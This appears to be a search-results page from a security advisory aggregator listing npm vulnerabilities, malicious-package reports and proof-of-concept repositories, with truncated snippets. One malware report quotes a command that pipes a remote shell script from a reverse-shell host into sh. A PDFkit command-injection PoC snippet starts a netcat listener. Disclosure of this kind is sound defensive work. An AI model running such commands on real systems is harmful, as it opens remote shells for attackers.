196535 matches found
ReactNext2Shell
es-define-property Object.defineProperty, but not IE 8's broken one...
CrowdSec Says TanStack npm Attack Led to Copy of 170 Private GitHub Repositories
An attacker copied about 170 of CrowdSec's private GitHub repositories on May 22 using the account of an employee who had just left, CrowdSec said on September 18. The French security company had kept his GitHub access open. CrowdSec says his laptop was compromised in May's supply chain attack on...
next-bug-CVE-2025-55182
Para reproducir CVE-2025-55182 npm run dev npm run exploit.js // Simula un ataque malicioso...
lodash.template-fixed
lodash.template v4.5.0 El método .template de Lodash exportado como un módulo de Node.js. Instalación Usando npm: root@kitploit: $ sudo -H npm i -g npm $ npm i --save lodash.template En Node.js: root@kitploit: var template = require'lodash.template'; Consulte la documentación o el código fuente d...
The vulnerability of the NPM packet manager’s vm2 library, related to a flaw in the data protection mechanism, allows attackers to execute arbitrary code.
The vulnerability of the NPM packet manager’s library vm2 is related to a breach in data protection mechanisms. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary code...
The vulnerability of the NPM packet manager’s vm2 library, related to improper code generation management, allows an attacker to execute arbitrary code.
The vulnerability of the NPM package manager’s vm2 library is related to incorrect code generation management. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...
The vulnerability of the NPM packet manager’s vm2 library, related to improper code generation management, allows an attacker to execute arbitrary code.
The vulnerability of the NPM package manager’s vm2 library is related to incorrect code generation management. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...
The vulnerability of the NPM packet manager’s vm2 library, related to a flaw in the data protection mechanism, allows attackers to execute arbitrary code.
The vulnerability of the NPM packet manager’s library vm2 is related to a breach in data protection mechanisms. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary code...
Malicious code in keroeltop (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c1791fee7ca80cf7d21f57837b64f0c31594194a2733fa7a94eda87e9235199 [email protected] is a lure package whose index.js runs on every npm lifecycle phase preinstall/install/postinstall/prepare and issues an HTTP reque...
MAL-2026-16297 Malicious code in keroeltop (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c1791fee7ca80cf7d21f57837b64f0c31594194a2733fa7a94eda87e9235199 [email protected] is a lure package whose index.js runs on every npm lifecycle phase preinstall/install/postinstall/prepare and issues an HTTP reque...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 Detalle Descripción El paquete pdfkit desde 0.0.0 es vulnerable a Inyección de Comandos donde la URL no está debidamente saneada. PoC Iniciar un servidor HTTP root@kitploit: 1- python3 -m http.server 80 Iniciar un listener de netcat root@kitploit: 2- nc -lnvp...
cve-2025-12735-expr-eval-rce
CVE-2025-12735 expr-eval RCE 漏洞利用工具 一个用于检测和测试 expr-eval 与 expr-eval-fork npm 包中 CVE-2025-12735 漏洞的安全研究工具。 ⚠️ 免责声明 本工具仅用于授权的安全测试和教育目的 。未经授权访问计算机系统是违法的。请仅在你拥有或已获得明确书面测试许可的系统上使用本工具。 📋 概述 CVE-2025-12735 是 expr-eval 和 expr-eval-fork npm 包中的一个严重远程代码执行漏洞。该漏洞允许攻击者在解析器使用的 context 对象内定义任意函数，从而注入执行系统级命令的恶意代码...
Malicious code in @insiderintelligence/googleadmanager (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostnam...
MAL-2026-16290 Malicious code in @insiderintelligence/googleadmanager (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostnam...
MAL-2026-16294 Malicious code in internallib_v949 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...
Malicious code in internallib_v949 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...
scavenger_scanner
CVE-2025-54313 IOC Scanner Escáneres multiplataforma para detectar Indicadores de Compromiso IOCs relacionados con el ataque a la cadena de suministro de eslint-config-prettier CVE-2025-54313. El 18 de julio de 2025, varios paquetes npm populares fueron comprometidos mediante un ataque de phishin...
NPM: File Viewer: DOM XSS via unsafe hyperlink schemes in the legacy DOC renderer
NPM: File Viewer: DOM XSS via unsafe hyperlink schemes in the legacy DOC renderer vulnerability discovered by ? in WordPress Npm msdoc-viewer versions = 0.2.1...
NPM: adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)
NPM: adm-zip: Uncontrolled memory allocation via the declared uncompressed size DoS vulnerability discovered by ? in WordPress Npm adm-zip versions 0.6.1...
NPM: md-editor-v3: XSS via fenced-code language rendering bypass
NPM: md-editor-v3: XSS via fenced-code language rendering bypass vulnerability discovered by ? in WordPress Npm md-editor-v3 versions = 6.5.3...